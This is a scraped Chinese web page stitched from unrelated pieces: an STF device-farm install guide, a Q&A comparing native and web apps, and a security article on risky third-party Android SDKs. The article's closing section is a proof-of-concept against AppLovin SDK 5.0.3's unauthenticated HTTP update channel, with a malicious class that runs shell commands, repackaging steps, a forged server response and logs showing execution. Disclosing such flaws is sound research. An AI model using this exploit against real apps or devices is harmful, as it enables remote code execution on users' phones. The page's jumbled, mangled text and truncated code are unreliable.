如何web端连接并h5微信调用js sdk拍照设备sdk,并控制设备

WEB 端批量移动设备管理控制工具 STF 的环境搭建和运行
工具名STF(Smartphone Test Farm)可以批量对大量设备进行WEB端管理,工具主页:
上个主页上的效果图吧:
它的github页面为:
下面简单记录下在centos和os x上搭建它的步骤环境搭建
一:环境:centos6
1、Linux一些基本包的安装:
在控制台分别运行
yum install gcc
yum install gcc-c++
yum install glibc
2、SDK环境安装
这里我偷了个懒直接拷贝已经下载好的JDK和Android SDK环境过来,当然如果没有的同学估计要重新慢慢下载和安装了。
拷贝SDK目录到HOME目录中,打开控制台命令运行:
vi /etc/bash_profile
配置环境变量并保存退出(wang为用户名,需要根据实际路径来填写)
export JAVA_HOME=/home/wang/SDK/jdk1.8.0_45
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export ANDROID_HOME=/home/wang/SDK/android-sdk-linux
export PATH=$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools:$PATH
在控制台执行命令使之生效:
source /etc/bash_profile
验证:控制台分别输入adb和java -version来验证SDK是否配置生效
3、nodejs安装
下载nodejs安装包,解压并控制台进入目录
运行如下命令
./configure
make install
ln -s /usr/local/bin/node /usr/bin/node
ln -s /usr/local/bin/npm /usr/bin/npm
验证:控制台分别输入node -v和npm -v验证是否配置完成
4、安装Bower
控制台执行npm命令进行Bower安装并等待完成
npm install bower -g
5、安装RethinkDB
控制台执行
sudo wget http://download.rethinkdb.com/centos/6/`uname -m`/rethinkdb.repo -O /etc/yum.repos.d/rethinkdb.repo
sudo yum install rethinkdb
6、安装GraphicsMagick
最新版本包地址:
解压GraphicsMagick-1.3.21.tar.gz并控制台进入目录
./configure
make install
7、安装libsodium(zeromq的依赖)
github下载最新包:
解压libsodium-1.0.3.tar.gz并控制台进入目录
./configure
make install
8、安装zeromq
最新版本包地址:
解压zeromq-4.1.2.tar.gz并控制台进入目录
./configure
make install
9、安装protobuf
github下载最新包:
解压protobuf-cpp-3.0.0-alpha-3.tar.gz并控制台进入目录
//因为需要配置环境变量,所以用参数指定到了local下的指定目录中
./configure --prefix=/usr/local/protobuf
make install
修改环境变量配置文件:
vi /etc/bash_profile
配置环境变量并保存退出:
export PATH=$PATH:/usr/local/protobuf/bin/
export PKG_CONFIG_PATH=/usr/local/protobuf/lib/pkgconfig/
在控制台执行命令使之生效:
source /etc/bash_profile
10、安装pkg-config
yum install pkg-config
11、安装stf (可能需要翻墙或者VPN)
控制台执行命令:
npm --registry=http://r.cnpmjs.org --disturl=http://dist.u.qiniudn.com install microtime install -g stf
安装过程:
环境:mac os x10.9.5
1、在mac电脑上可以使用homebrew安装依赖包
控制台执行命令:
brew install rethinkdb graphicsmagick zeromq protobuf pkg-config
2、安装stf
控制台执行命令:
npm --registry=http://r.cnpmjs.org --disturl=http://dist.u.qiniudn.com install microtime install -g stf
一、启动rethinkDB
安装完成后,打开单独的控制台,运行命令等待服务启动完成:
二、启动stf服务端
打开一个单独的控制台,运行命令等待服务启动完成:
stf local --public-ip 192.168.12.135 --allow-remote
注:这里我多加了个参数 --allow-remote用于允许远程调试设备连接
三、运行客户端
在浏览器中输入地址: 访问客户端。
输入用户名和邮箱登录即可开始使用。
然后就可以在页面上直接控制连接的设备了,按照官方的说法,可以控制more than 160 devices. 当然 要有好的hub或者无线环境。
其他的以后进一步发掘吧。
问题:平台搭建好后有些电脑访问会显示不了站点文字,经多次排查是字体问题,而且是lato字体搞的鬼。
解决方式:mac下终端进入/usr/local/lib/node_modules/stf/res/build,查找后缀.chunk.js的文件,把里面的lato字体全部删掉即可。
没有更多推荐了,
不良信息举报
举报内容:
WEB 端批量移动设备管理控制工具 STF 的环境搭建和运行
举报原因:
原文地址:
原因补充:
最多只允许输入30个字
加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!html5 怎么调用原生app_百度知道
html5 怎么调用原生app
我有更好的答案
生App vs 移动Web AppGit@OSC 的 Android 和 iOS 客户端全面开源每当你打算开发移动应用程序时,都要考虑你的应用如何创建以及如何部署。如今已有两个主要的方向:原生App 以及 移动Web App。那么在今天这篇文章中就来比较一下两者的区别来供大家参考。原生App vs 移动Web App : 定义什么叫做原生App?原生App是专门针对某一类移动设备而生的,它们都是被直接安装到设备里,而用户一般也是通过网络商店或者卖场来获取例如
The App Store
Android Apps on Google Play .随便说几个原生App的例子,比如 iOS 的 Camera+
以及 Android 的
KeePassDroid什么叫做移动Web App?一般说来,移动Web App都是都是需要用到网络的,它们利用设备上的浏览器(比如iPhone的Safari)来运行,而且它们不需要在设备上下载后安装。原生App 与 移动Web App的比较用户界面有些公司为同样的产品制作了原生App与移动Web App,下图就是Facebook的原生App与移动Web App的界面比较:注意这两者的不同地方会产生不同的用户体验结果。开发方面
原生App每一种移动操作系统都需要独立的开发项目
每种平台都需要独立的开发语言。Java(Android), Objective-C(iOS)以及Visual C++(Windows Mobile)等等
需要使用各自的软件开发包,开发工具以及各自的控件
移动Web App
因为运行在移动设备的浏览器上,所以只需要一个开发项目
这种应用可以使用HTML5,CSS3以及JavaScript以及服务器端语言来完成(PHP,Ruby on Rails,Python)
这里可没有标准的SDK,基本任意选择别忘了有一些跨平台的开发工具,比如PhoneGap, Sencha Touch 2以及Appcelerator Titanium等等。能力方面
原生App能够与移动硬件设备的底层功能,比如个人信息,摄像头以及重力加速器等等
移动Web App只能使用有限的移动硬件设备功能。赢利
原生App可以使用专门的移动平台的广告,比如AdMob
移动Web App基本没有限制,但也没什么优势注意原生App能够直接在对应的官方商店进行定价就能马上赢利,然而移动Web App需要你自己完成付款的系统,这可不是一件简单的事情。获取方法
原生App直接下载到设备以独立的应用程序运行(并不需要浏览器)用户必须手动去下载并安装这些原生App有一些商店与卖场来帮助用户寻找你的App
移动Web App从移动设备上的浏览器访问不需要安装额外的软件软件更新只需要服务器就够了因为现在没有什么商品或卖场提供这种App,所以如何搜索这些移动Web App相当不简单版本控制
原生App用户可以自由地选择是否更新软件版本,所以会出现不同用户同时使用不同版本的情况
移动Web App所有的用户都是用同样的版本优势
原生App比移动Web App运行快一些商店与卖场会帮助用户寻找原生App官方卖场的应用审核流程会保证让用户得到高质量以及安全的App官方会发布很多开发工具或者人工支持来帮助你的开发
移动Web App跨平台开发用户不需要去卖场来下载安装App任何时候都可以发布App,因为根本不需要官方卖场的审核如果你已经有了一个Web App,你可以使用 responsive web design来辅助改进(这也是优势?)缺陷
原生App开发成本高,尤其是当需要多种移动设备来测试时因为是不同的开发语言,所以开发,维护成本也高因为用户使用的App版本不同,所以你维护起来很困难官方卖场审核流程复杂且慢,会严重影响你的发布进程
移动Web App无法使用很多移动硬件设备的独特功能要同时支持多种移动设备的浏览器让开发维护的成本也不低如果用户使用更多的新型浏览器,那问题就更不好处理了对于用户来说,这种App很难被用户发现原生App vs 移动Web App : 你如何选择?所以在你准备做移动App时,你应该先问问自己以下几个问题:你的应用是否需要使用某些设备的特殊功能,比如摄像头,摄像头闪光灯或者重力加速器你的开发预算你的应用是否一定需要网络你的应用的目标硬件设备是所有的移动设备还是仅仅只是一部分而已你自己已经熟悉的开发语言这个应用对于性能要求是否苛刻如何靠这个应用赢利我想这几个问题应该能让你做出明智的选择。结论你的选择是原生App还是移动Web App,主要受商业目标,目标用户,以及技术需要这些因素影响的。其实更多时候你也不要为选择那种App模式烦恼,正如上文提到,类似Facebook这样的公司就为用户提供了两种选择。然而对于大部分人来说,预算,资源限制将会逼迫我们只能选择其中一种(或者只能以其中一种为重点)。
采纳率:96%
来自团队:
为您推荐:
其他类似问题
您可能关注的内容
html5的相关知识
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。比特客户端
您的位置:
详解大数据
详解大数据
详解大数据
详解大数据
安 全 分 析
关键字:SDK安全 应用安全
  第三方sdk的包括广告、支付、统计、社交、推送,地图等类别,是广告商、支付公司、社交、推送平台,地图服务商等第三方服务公司为了便于应用开发人员使用其提供的服务而开发的工具包,了一些复杂的逻辑实现以及请求,响应解析的API,由于其使用的广泛性,一旦出现问题并且被利用,其影响范围之广,危害之大不言而喻。
  SDK的安全问题
  首先,一些恶意的Sdk本身会存在着安全威胁,除了众所周知的获取用户隐私,如收集设备id(IMEI,IMSI等)、获取用户位置信息外,还存在着更严重的安全问题。比如某些sdk具有主动接收指令的功能,它会根据需要收集短信、通话记录和联系人等敏感信息。另外,它还会执行如动态下载代码等危险操作。
  其次,Sdk自身可能还会存在漏洞。如果这些漏洞被利用,攻击者就能够利用sdk本身存在的强大功能发动恶意的攻击行为,例如在用户毫无察觉的情况下打开相机拍照,通过发送短信盗取双因素认证令牌,或将设备变成僵尸的一部分。
  下面介绍下目前在第三方sdk(主要是指广告sdk)中发现的恶意行为和漏洞。
  恶意行为
  收集用于定位和追踪用户的信息,如设备id和位置信息,
  收集用户的邮箱地址以及安装在用户设备上的应用程序列表。
  读取短信、邮件、电话通话记录和联系人列表,在没有任何访问控制措施的情况下通过web服务公开共享这些。
  接收远程服务器指令,下载任意代码并执行。
  数据明文传输
  通过明文传输数据
  通过HTTP明文传输用户的隐私信息,使隐私信息很容易被窃取。FireEye 的研究者声称在的主流应用中有47%的广告sdk存在该漏洞。
  使用HTTP协议传输数据
  使用不安全的HTTP协议从控制服务器接收命令或者动态加载代码。攻击者可以通过中间人攻击,劫持HTTP数据包,冒充服务器下发恶意指令、推送,将第三方sdk变成一个僵尸网络。
  攻击者有许多方法来利用sdk的漏洞。比如劫持公共:当受害者的设备连接到公共WiFi热点(在咖啡店或机场等),攻击者可以在监听AppLovin广告sdk的数据包、注入恶意指令和代码。
  攻击者也可以通过DNS劫持的方式来达到利用漏洞的目的。在DNS劫持攻击中,攻击者可以修改sdk广告服务器的DNS记录,把访问者重定向到攻击者自己的控制服务器,以便从受害者设备上收集隐私信息或者发送恶意控制指令到受害者设备上。
  Webview漏洞
  WebView相当于一个窗口,应用程序可以使用它来显示网页内容。addJavascriptInterface这个API允许运行在WebView中的JavaScript代码来访问应用的native功能。攻击者可以利用此漏洞,使用应用已有的权限,通过恶意的JavaScript代码来对设备进行恶意操作。这个漏洞已经影响到超过90%的设备了。
  为了降低安全风险,从Android 4.2开始,增加了一个叫做@JavascriptInterface的注解,开发人员可以使用它来定义需要暴露给WebView中的JavaScript代码的函数。这实质上是一个白名单机制,让开发者决定什么函数是允许被调用的。
  然而添加 @JavascriptInterface注解只是在理论上降低了风险,其实际效用依赖于开发者如何使用它。另外,开发人员还可以添加代码,以便JavaScript调用任何应用暴露出来的函数(触发这些行为)都需要获得用户的许可。
  使用动态加载的方式进行升级
  采用运行时动态加载技术在Dalvik虚拟机中动态执行代码作为其升级机制的一部分,却没有对动态加载的代码进行校验。如果该部分代码被黑客恶意篡改,则会给用户造成严重的安全威胁。
  有些sdk本身具有危险行为,同时又存在漏洞,这种特性我们称之为“vulnaggressive”。这种特性并不局限于广告sdk,其它第三方组件和应用程序也存在。如果一个sdk具有“vulnaggressive”特性,则会使Android用户,尤其是用户面临严重的安全威胁。AppLovin广告sdk就是一个实例。
  AppLovin的恶意威胁
  AppLovin广告sdk的恶意行为表现在收集用户的敏感数据,嵌入了按需执行危险操作的功能,该sdk本身存在着严重的漏洞,使应用容易遭受攻击者。攻击者利用sdk的漏洞,同时利用sdk本身的恶意行为,攻击者可以在用户的设备上下载并执行任意代码。然而使用这些第三方sdk的应用开发人员往往不知道其中存在的安全风险,从而给企业用户造成严重威胁。
  在我们的研究中发现,许多包含AppLovin广告sdk的Android应用具有强大的权限,它们可以控制摄像机;读写短信、历史通话记录、联系人、浏览器历史记录和书签;并在桌面上创建快捷方式。
  攻击者可以利用这些权限进行恶意操作。比如:
  通过短信窃取双因素认证令牌
  在SD卡上查看照片和其他文件
  在桌面上安装图标用于钓鱼攻击
  删除文件和销毁历史数据
  冒充老板发送伪造的业务短信给商业伙伴
  在没有通知用户的情况下删除接收到的短信
  拨打电话
  在没有通知用户的情况下使用相机拍照
  读取书签或者将它们指向钓鱼网站
  尽管AppLovin广告sdk造成了严重的威胁,但因其具有隐蔽性,所以更加防不胜防:
  AppLovin广告sdk通过HTTP头字段的数据编码,而不是HTTP响应体从广告服务器接收命令。
  AppLovin广告sdk的代码被混淆,这使得使用传统的分析方法变得困难。
  AppLovin广告sdk的行为难以用传统的分析方法来触发。例如,在一种流行的游中,AppLovin广告sdk仅在游戏中某些点执行,比如说达到游戏中的特定级别。当AppLovin广告sdk执行的时候,用户可见的唯一影响是在屏幕顶部的广告(如下图所示)。然而,AppLovin广告sdk却在背后悄悄执行其危险行为。
  AppLovin广告sdk的屏幕截图
  AppLovin漏洞剖析
  AppLovin广告sdk5.0.3版本的升级机制存在漏洞。该广告sdk采用运行时动态加载技术在Dalvik虚拟机中动态执行代码作为其升级机制的一部分。
  该广告sdk会定期的通过http协议以明文方式与d.applovin.com进行数据传输。发送以下请求:
  5GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1
  User-Agent: Dalvik/1.6.0 (; U; Android 4.3; sdk Build/JWR66V)
  Host: d.applovin.com
  Connection: Keep-Alive
  Accept-Encoding: gzip
  然后服务端将进行响应,如果有更新,就把一个包含了要更新的sdk的文件下载到应用目录下一个叫“app_al_sdk”的文件夹中:
  /data/data//app_al_sdk/.jar
  当应用再次运行的时候,AppLovin广告library就会 检测这个目录下是否存在更新的jar 包 ,如果存在则将该jar包中的dex文件解压出来替换/data/data//al_outdex文件,这样dex中的com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类就会被动态加载,其中的startUpdateDownload方法也将会被调用。
  从源代码可以得知,当一个包含AppLovin广告sdk的应用启动后,一个‘’进程就会启动(由于反编译的关系,也可能是‘bootstrap’进程、‘boostrap’进程)。如下所示,com.applovin.impl.bootstrap包中的UpdateSDK类负责发送更新请求和处理服务器响应:
  131package com.applovin.impl.
  7 class UpdateSDK extends Thread {
  9 private final C
  11 public UpdateSDK(SdkBoostrapTasksImpl arg2, Context arg3) {
  13 this.a = arg2;
  15 super();
  17 this.b = arg3;
  19 this.setName("AppLovinUpdateThread");
  23 public void run() {
  25 SharedPreferences$Editor v0_3;
  27 String SdkU
  29 int ResponseC
  31 StringB
  33 SharedPreferences BootstrapSettings = this.b.getSharedPreferences("applovin.sdk.boostrap", 0);
  35 String CheckSum = BootstrapSettings.getString("version", "");
  37 if(CheckSum == null || CheckSum.length() & 1) {
  39 CheckSum = "5.0.3";
  43 InputStream ResponseStream =
  45 try {
  47 SdkBoostrapTasksImpl.a(this.a, "Checking for an update for the SDK interface: 5.0.0, implementation: "
  49 + CheckSum + "...");
  51 uri = new StringBuffer(GetUpdateUri.a(this.b));
  53 uri.append("?").append("interface").append("=").append("5.0.0"); // ?interface=5.0.0
  55 uri.append("&").append("implementation").append("=").append(CheckSum); // ?interface=5.0.0&implementation=5.0.3
  57 URLConnection RequestObject = new URL(uri.toString()).openConnection();
  59 ((HttpURLConnection)RequestObject).setRequestMethod("GET");
  61 ((HttpURLConnection)RequestObject).setConnectTimeout(20000);
  63 ((HttpURLConnection)RequestObject).setReadTimeout(20000);
  65 ((HttpURLConnection)RequestObject).setDefaultUseCaches(false);
  67 ((HttpURLConnection)RequestObject).setAllowUserInteraction(false);
  69 ((HttpURLConnection)RequestObject).setUseCaches(false);
  71 ((HttpURLConnection)RequestObject).setInstanceFollowRedirects(true);
  73 ((HttpURLConnection)RequestObject).setDoInput(true);
  75 ResponseCode = ((HttpURLConnection)RequestObject).getResponseCode();
  77 String SDKFileName = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation"); // filename?
  79 String SdkImpCheckSum = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation-Checksum");
  81 SdkUpdateinterval = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Update-Interval");
  83 String AppLovinEventID = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Event-ID");
  85 SdkBoostrapTasksImpl.a(this.a, "Auto-update info: {code: " + ResponseCode + ", " + "eventId: "
  87 + AppLovinEventID + ", " + "fileName: " + SDKFileName + ", " + "checksum: " + SdkImpCheckSum
  89 + ", " + "interval: " + SdkUpdateinterval + "}");
  91 if(ResponseCode == 200) {
  93 if(SDKFileName != null && SDKFileName.length() & 0) {
  95 File SdkUpdateFile = new File(this.b.getDir("al_sdk", 0), SDKFileName);
  97 ResponseStream = ((HttpURLConnection)RequestObject).getInputStream();
  99 CheckSum = SdkBoostrapTasksImpl.a(ResponseStream, SdkUpdateFile);
  101 if(CheckSum != null && (CheckSum.equals(SdkImpCheckSum))) {
  103 SharedPreferences$Editor v3_2 = BootstrapSettings.edit();
  105 v3_2.putString("version", SDKFileName);
  107 v3_2.putString("interface", "5.0.0");
  109 v3_2.putString("ServerEventId", AppLovinEventID);
  111 v3_2.putString("ServerChecksum", CheckSum);
  113 v3_2.commit();
  115 SdkBoostrapTasksImpl.a(this.a, "New update processed: " + SDKFileName);
  117 goto label_130;
  121 SdkBoostrapTasksImpl.a(this.a, "SDK update checksum does not match. Expected " +
  123 SdkImpCheckSum + ", but got " + CheckSum);
  125 goto label_130;
  129 SdkBoostrapTasksImpl.a(this.a, "Unable to receive SDK update: " + uri + " has not returend a file name");
  上述代码从"applovin.sdk.boostrap"配置文件中读取一个版本号作为checksum,然后构造和发送以下请求:
  5GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1
  User-Agent: Dalvik/1.6.0 (L U; Android 4.3; sdk Build/JWR66V)
  Host: d.applovin.com
  Connection: Keep-Alive
  Accept-Encoding: gzip
  然后对接收到的以下服务器响应信息进行处理:
  151 HTTP/1.1 200
  3 Server: nginx
  5 Date: Mon, 21 Oct :20 GMT
  7 Content-Type: text/html
  9 Connection: keep-alive
  11 Vary: Accept-Encoding
  13 Cache-Control: no-store, no-cache, must-revalidate
  15 AppLovin-Sdk-Update-Interval: 10 16 17 AppLovin-Sdk-Next-Update-Time: 10 18 19 AppLovin-Sdk-Implementation: 5.0.3.jar 20 21 AppLovin-Sdk-Implementation-Checksum: a9e5f7c98ab3f1dc9ecab25f15ef09e25d5bce28 22 23 AppLovin-Event-ID:
25 Content-Length: 1660
  服务器会返回以上的响应信息,这些数据被写入到一个文件(文件名为AppLovin-Sdk-Implementation头的值,实际为一个jar包)中,同时会产生一个SHA1 哈希值与AppLovin-Sdk-Implementation-Checksum头的值进行匹配。响应头中其它信息如 AppLovin-Sdk-Update-Interval头 和 AppLovin-Sdk-Next-Update-Time头被写入到一个配置文件中以控制下次应用的更新时间间隔。
  当应用再次启动时bootstrap进程初始化的流程就不同了。这个时候com.applovin.sdk.bootstrap包中的SdkBootstrap 类会从配置文件中读取这些值,如果发现这些值不匹配则不会通过控制器去启动更。否则就去检查app_al_sdk目录下是否存在jar文件并与配置文件中的版本值相匹配,匹配则将jar包中的classess.dex文件解压到app_al_outdex文件夹中。
  551 package com.applovin.sdk.
  7 public class SdkBootstrap {
  13 private void BootstrapSdkClassLoaderInit(Context AppContext) {
  15 this.VerboseLogging = AppLovinSdkUtils.isVerboseLoggingEnabled(AppContext);
  17 SharedPreferences bootstrapPref = AppContext.getSharedPreferences("applovin.sdk.boostrap", 0
  21 String versionVal = bootstrapPref.getString("version", "");
  23 String interfaceVal = bootstrapPref.getString("interface", "");
  25 if(versionVal.length() &= 0 || !"5.0.0".equals(interfaceVal)) {
  27 this.disable();
  31 else {
  33 File FileNameParam1 = new File(AppContext.getDir("al_sdk", 0), versionVal);
  35 if((FileNameParam1.exists()) && FileNameParam1.length() & 0) {
  37 this.ThisClassLoader = new SdkClassLoader(FileNameParam1, AppContext.getDir("al_outdex"
  39 , 0), SdkBootstrap.class.getClassLoader());
  41 goto checkForU
  45 this.Log_("SDK implementation file " + versionVal + " has no content, using default implementation"
  49 this.disable();
  在com.applovin.sdk.bootstrap.SdkClassLoader类中SdkClassLoader 方法被调用:
  211 package com.applovin.sdk.
  7 public class SdkClassLoader extends DexClassLoader {
  9 public SdkClassLoader(File FileNameParam, File DirectoryNameParam, ClassLoader ClassLoaderObject
  11 ) {
  13 super(FileNameParam.getAbsolutePath(), DirectoryNameParam.getAbsolutePath(), null, ClassLoaderObject
  类加载器对象加载classes.dex,并作为参数从checkForUpdates方法中传递到loadImplementation方法中:
  291 package com.applovin.sdk.
  7 public class SdkBootstrap {
  13 public void checkForUpdates()
  17 if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d))
  21 SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class);
  23 if (localSdkBoostrapTasks != null)
  25 localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext());
  loadImplementation 方法如下:
  311 package com.applovin.impl.
  7 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
  13 try
  17 String str1 = paramClass.getSimpleName();
  19 String str2 = paramClass.getPackage().getName();
  21 String str3 = str2.substring(1 + str2.lastIndexOf('.'));
  23 String str4 = "com.applovin.impl." + str3 + "." + str1 + "Impl";
  25 a("Loading " + str4 + "...");
  27 Object localObject = paramClass.cast(this.e.loadClass(str4).newInstance());
  29 return localO
  这个方法从提供的classes.dex文件中加载com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类并且返回一个对象(即localSdkBoostrapTasks)给checkForUpdates方法,checkForUpdates方法再通过返回的这个对象调用startUpdateDownload方法。
  171 public void checkForUpdates()
  5 if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d))
  9 SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class);
  11 if (localSdkBoostrapTasks != null)
  13 localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext());
  SdkBoostrapTasksImpl 类中startUpdateDownload 方法原型如下:
  291 package com.applovin.impl.
  7 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
  13 public void startUpdateDownload(Context paramContext)
  17 this.a = AppLovinSdkUtils.isVerboseLoggingEnabled(paramContext);
  19 SharedPreferences localSharedPreferences = paramContext.getSharedPreferences("applovin.sdk.boostrap", 0);
  21 long l1 = System.currentTimeMillis();
  23 long l2 = localSharedPreferences.getLong("NextAutoupdateTime", 0L);
  25 if ((l2 == 0L) || (l1 & l2))
  27 new b(this, paramContext).start();
  攻击者可以通过 重新实现 com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类中的startUpdateDownload 方法 构造一个恶意的sdk更新。为了达到这个目的,需要对包含有漏洞的AppLovin sdk应用进行反编译。
  $ unzip VulnerableApp.apk
  利用dex2jar将解压后得到的classes.dex文件反编译成jar包:
  $ dex2jar.sh classes.dex
  创建一个eclipse工程,将工程Properties设置为“Is Library”(在工程右击-properties-Android最下面,有个Is library,选择后-apply确定,表示此工程可以公开给别的工程使用),然后将上一步得到的classes_dex2jar.jar文件复制到lib目录下。
  $ cp classes-dex2jar.jar ~/eclipse-workspace/MWRAppLovin/libs/
  接下来创建com.applovin.impl.bootstrap包和SdkBoostrapTasksImpl类,PoC如下:
  831 package com.applovin.impl.
  3 import java.io.BufferedW
  5 import java.io.IOE
  7 import java.io.OutputStreamW
  9 import android.content.C
  11 import android..E
  13 import android.util.L
  15 import com.applovin.sdk.bootstrap.SdkBoostrapT
  17 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
  19 public SdkBoostrapTasksImpl() {
  21 super();
  25 @Override
  27 public void startUpdateDownload(Context AppContextParam) {
  29 AppContextParam.getApplicationContext();
  31 Log.i("[mwr]", "startUpdateDownload ― running our injected code");
  33 String path = Environment.getExternalStorageDirectory().getPath();
  35 String[] commands = {
  37 "echo -e \"--[mwr]--\" & " + path + "/mwr.txt\n",
  39 "id && " + path + "/mwr.txt\n"
  43 execCommands(commands);
  47 public Boolean execCommands(String... command) {
  49 Runtime rtime = Runtime.getRuntime();
  51 Process child =
  53 try {
  55 child = rtime.exec("/system/bin/sh");
  57 } catch (IOException e1) {
  61 BufferedWriter outCommand = new BufferedWriter(new OutputStreamWriter(child.getOutputStream()));
  63 try {
  65 for(int i = 0; i & command. i++) {
  67 Log.i("[mwr]", "execCommands ― executing " + command[i]);
  69 outCommand.write(command[i]);
  71 outCommand.flush();
  75 } catch (IOException e) {
  上面的PoC会将当前用户id写入sd卡的mwr.txt文件中。如果这个lib库已经被编译成jar包,则必须用dx将其重打包为dex。
  $ dx --dex --output=mwr_applovin_sdk.jar mwrapplovin.jar
  (注:dx --dex --output=target.jar origin.jar 首先将origin.jar编译成origin.dex文件(Android虚拟机认识的字节码文件),然后再将origin.dex文件压缩成target.jar)
  然后攻击者需要伪造服务器对客户端更新请求的响应并且发送恶意sdk更新,同时需要生成恶意jar包的checksum(sha1哈希):
  $ shasum mwr_applovin_sdk.jar860ba30a8a6fadfb92
  一个伪造的响应如下所示:
  151 HTTP/1.1 200
  3 Server: nginx
  5 Date: Mon, 21 Oct :20 GMT
  7 Content-Type: text/html
  9 Connection: keep-alive
  11 Vary: Accept-Encoding
  13 Cache-Control: no-store, no-cache, must-revalidate
  15 AppLovin-Sdk-Update-Interval:
AppLovin-Sdk-Next-Update-Time:
AppLovin-Sdk-Implementation: mwr_applovin_sdk.jar 20 21 AppLovin-Sdk-Implementation-Checksum: 860ba30a8a6fadfb92 22 23 AppLovin-Event-ID:
25 Content-Length:
  用logcat查看广告插件的日志信息,从相关event可知恶意jar文件已经被下载:
  11 I/AppLovinSdk( 742): [Boostrap] Auto-update info: {code: 200, eventId: 123456, fileName: mwr_applovin_sdk.jar, checksum: 860ba30a8a6fadfb92, interval: 10} 2 3 I/AppLovinSdk( 742): [Boostrap] New update processed: mwr_applovin_sdk.jar 4 5 I/AppLovinSdk( 742): [Boostrap] Next update is at: "3"
  下述log信息表明当应用再次启动的时候,从jar包中释放出了dex文件并且恶意代码已经执行:
  51 /dalvikvm( 3280): DexOpt: --- BEGIN 'mwr_applovin_sdk.jar' (bootstrap=0) ---
  3 D/dalvikvm( 2949): GC_FOR_ALLOC freed 0K, 3% free 5K, paused 156ms, total 156ms
  5 D/dalvikvm( 3398): DexOpt: load 41ms, verify+opt 15ms, 80116 bytes 6 7 D/dalvikvm( 3280): DexOpt: --- END 'mwr_applovin_sdk.jar' (success) --- 8 9 D/dalvikvm( 3280): DEX prep '/data/data//app_al_sdk/mwr_applovin_sdk.jar': unzip in 0ms, rewrite 286ms 10 11 I/AppLovinSdk( 3280): [Boostrap] Loading com.applovin.impl.bootstrap.SdkBoostrapTasksImpl... 12 13 D/AppLovinSdk( 3280): Loading SDK implementation class: com.applovin.impl.bootstrap.SdkBoostrapTasksImpl 14 15 I/[mwr] ( 3280): startUpdateDownload ― running our injected code 16 17 I/[mwr] ( 3280): execCommands ― executing echo -e "--[mwr]--" && /mnt/sdcard/mwr.txt 18 19 I/[mwr] ( 3280): execCommands ― executing id && /mnt/sdcard/mwr.txt
  adb命令表明执行很成功:
  71 $ adb shell
  3 root@generic:/ # cat /mnt/sdcard/mwr.txt
  5 --[mwr]--
  7 uid=1) gid=1) groups=1006(camera),1015(sdcard_rw),1028(sdcard_r),3003(inet),50048(all_a48)
相关文章:
[ 责任编辑:小石潭记 ]
去年,手机江湖里的竞争格局还是…
甲骨文的云战略已经完成第一阶段…
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯,最新的软件技巧,最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中,与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊!
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧,帮助网管答疑解惑,成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一,主要关注x86服务器,RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析,让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来,为读者提供企业存储领域高质量的原创内容,及时、全面的资讯、技术、方案以及案例文章,力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设,为企业级用户打造最具商业价值的信息沟通平台,并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比,比特安全周刊运作模式更加独立,对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事,为企业级用户打造重点突出,可读性强,商业价值高的信息共享平台;同时为互联网、IT业界及通信厂商提供一条精准快捷,渗透力强,覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展,全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托,汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台,并持续提供丰富的资讯和服务,探讨信息化建设,推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来,以定向、分众、整合的商业模式,为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容,包括IT新闻、评论、专家答疑、技巧和白皮书。此外,IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
